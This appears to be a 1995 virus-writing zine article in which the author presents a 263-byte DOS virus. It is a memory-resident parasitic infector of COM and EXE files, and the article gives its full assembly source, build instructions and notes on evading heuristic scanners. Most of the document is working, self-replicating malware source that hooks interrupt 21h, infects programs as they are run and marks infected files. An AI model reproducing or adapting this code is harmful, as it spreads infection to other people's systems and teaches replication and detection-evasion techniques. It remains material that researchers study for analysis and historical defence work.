The Smallest Virus I Could Manage In Nuke InfoJournal #5 I foolishly boasted about a 387-byte TSR COM/EXE parasitic infector I'd written.. well the days of semi-lameness are gone (that was almost 2 years ago now) and I've come up with the goods. This is the smallest virus I could figure out at this point in time. In all respects it's a fully viable spreader in the wild, although it does have serious 'security' problems - it doesn't trap i24 (critical error handler), clean registers before returning control to the host, or even use i21 functions by chaining on to the old vector (it calls i21 with an INT instruction). I have no pretences in that I fully don't expect to see this in the wild, since it was only written for investigative pleasure anyway, to see how small a virus could be written. There was another version of this virus which I gave out to a few people on #virus, which had a slight bug (rather, hasty oversight) in it, where I changed a bit of code and didn't change a corresponding line a few lines later.. which results in the i21 vector being partially overwritten and thus the machine will crash (bad side effect!), which was 291 bytes. The difference between this virus and the 'old' one is that this one doesn't change the target EXE file's stack, simply leaving it and negating the need to carry the extra 4 bytes around with the virus, as well as cutting code size. Also, the 'old' one didn't trigger any heuristic flags whereas this one does. (see below) This virus is a memory-resident parasitic infector of COM and EXE files on execution, 263 bytes. It doesn't reinfect memory OR files. The older revision (sm2.asm, and the bug-fix, sm2b.asm) avoided all heuristic flags (except maybe suspicious stack); it inserted the delta offset straight into the first instruction of the virus, instead of doing the usual 'call $+3/pop si/sub si,3'. However this just took up too much code and besides, it's going to get caught anyway, so why bother. So in this version it was removed, but the lines are only commented out. If, for some reason, you want to re-enable the old system, uncomment the appropriate lines and delete the lines with only a semicolon after them (ie not the ones with actual comments!). Enabling this will bring the virus size up to all of 268 bytes. In its current form I think it's as optimized as I can make it. Apart from the odd 1-byte improvement, any difference would require a change in viral architecture. Some hardcore processorhead would have to do it, perhaps they'd get a virus of 260 bytes.. but below that, I'm sure it'd have to be deficient or unreliable in some respect (as far as I can rationally extrapolate, judging how limited this virus is in avoiding detection). I'm certainly not saying that a smaller virus cannot be written, however, because it's probably possible. If I could see how, though, I'd do it! :) Making this smaller would require the removal of 'safety' checks (eg bailing if the file can't be opened, bailing if the file is less than 24 bytes, etc). However I consider these checks to be part of a viable virus, so I left them in. There isn't a great deal of commenting on this virus. A few of the techniques just aren't applicable to viruses of the normal kind, so there's no real point. To gain anything much out of examining this source you more or less have to have a good idea of what's going on anyway. Greets on this one go out to Dark Angel (you know why) :> .. - T„L”N 01/95 ;--------------------------------------------------------------------------- ; ; Smallest Virus I Could Manage - 263 bytes ; ; by T„L”N ; ; compile with a86, rename the .bin to a .com and it's ready to roll.. ; org 0 @marker equ 19h v_start: ; mov si, 0100h call $+3 ; pop si ; sub si, 3 ; push ds xor ax, ax ; this virus resides at the end mov es, ax ; of the interrupt table & then some mov di, 200h push di cld scasw ; is the space clear? pop di jne v_exit push si mov cx, v_len db 02eh ; make CS source of movsb rep movsb ; copy the virus to memory mov si, 21h*4 ; & save old i21 vector push si db 26h ; make ES source of movsw movsw db 26h movsw pop di mov ax, offset new21 + 200h stosw xchg ax, cx stosw ; capture int 21h pop si v_exit: pop es add si, offset old_shit pop ax or sp, sp ; COM or EXE determination push ax push cs pop ds jnz exit_exe exit_com: mov di, 100h ; return to COM host push di movsw movsw ret exit_exe: mov ax, es ; return to EXE host add ax, 10h add word ptr [si+2], ax jmp dword ptr [si] old_shit: int 20h dw 0 new21: cmp ax, 4b00h ; infect on execute je infect jmp exit21 infect: push ax push bx push cx push dx push si push di push ds push es mov ax, 3d02h ; open the file int 21h jc bitch push cs pop ds push cs pop es xchg ax, bx mov ah, 3fh mov cx, 24 mov dx, offset signature+200h int 21h ; read header xor cx, ax jnz bitch1 mov si, dx push ax mov al, @marker cmp byte ptr [si+3], al ; is the infection marker present? ;(com) je bitch2 cmp byte ptr [si+12h], al ; (exe) je bitch2 mov ax, 4202h ; seek to EOF dx:ax -> file len cwd int 21h ; cx is already zero push ax mov di, offset old_shit+200h cmp byte ptr [si], 'M' je infect_exe infect_com: push si movsw ; save first 4 of COM movsw pop di mov al, 0e9 stosb pop ax ; inc ah ; mov word ptr [v_start+201h], ax ; sub ax, 103h dec ax ; dec ax ; dec ax ; stosw mov byte ptr [di], @marker ; mark infection write_us: mov ah, 40h mov cx, v_len mov dx, 200h int 21h write_hdr: mov ax, 4200h cwd xor cx, cx int 21h pop cx mov ah, 40h mov dx, offset signature+200h int 21h push ax ; ambiguous instruction bitch2: pop ax bitch1: mov ah, 3eh int 21h bitch: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax exit21: jmp dword ptr cs:[old21+200h] infect_exe: push dx push si mov si, offset [exe_ip+200h] movsw ; save IP, CS movsw add ax, v_len ; calculate part_page, page_cnt adc dx, 0 ; of infected file mov cx, 200h div cx pop di scasw scasw std ; a novel approach.. or dx, dx jz noinc inc ax noinc: stosw ; store the new values.. xchg ax, dx stosw pop dx pop ax mov cx, 10h ; calculate # of paragraphs div cx ; in the uninfected file sub ax, word ptr [hdr_size+200h] mov di, offset relo_cs+200h stosw ; & set new IP, CS (entry pt) xchg ax, dx stosw ; mov word ptr [v_start+201h], ax mov ax, @marker stosw jmp short write_us v_end: old21 equ v_end + 0 signature equ old21 + 4 ; where we load the host files header part_page equ signature + 2 ; part-page at EOF page_cnt equ part_page + 2 ; count of code pages hdr_size equ page_cnt + 4 ; size of header in paragraphs minmem equ hdr_size + 2 ; minimum memory required maxmem equ minmem + 2 ; maximum memory required relo_ss equ maxmem + 2 ; displacement of stack segment (SS) exe_sp equ relo_ss + 2 ; stack pointer (SP) chksum equ exe_sp + 2 ; -> infection marker exe_ip equ chksum + 2 ; instruction pointer (IP) relo_cs equ exe_ip + 2 ; displacement of code segment (CS) ; 24 bytes for EXE header information v_len equ v_end - v_start ; ;-------the-end-------------------------------------------------------------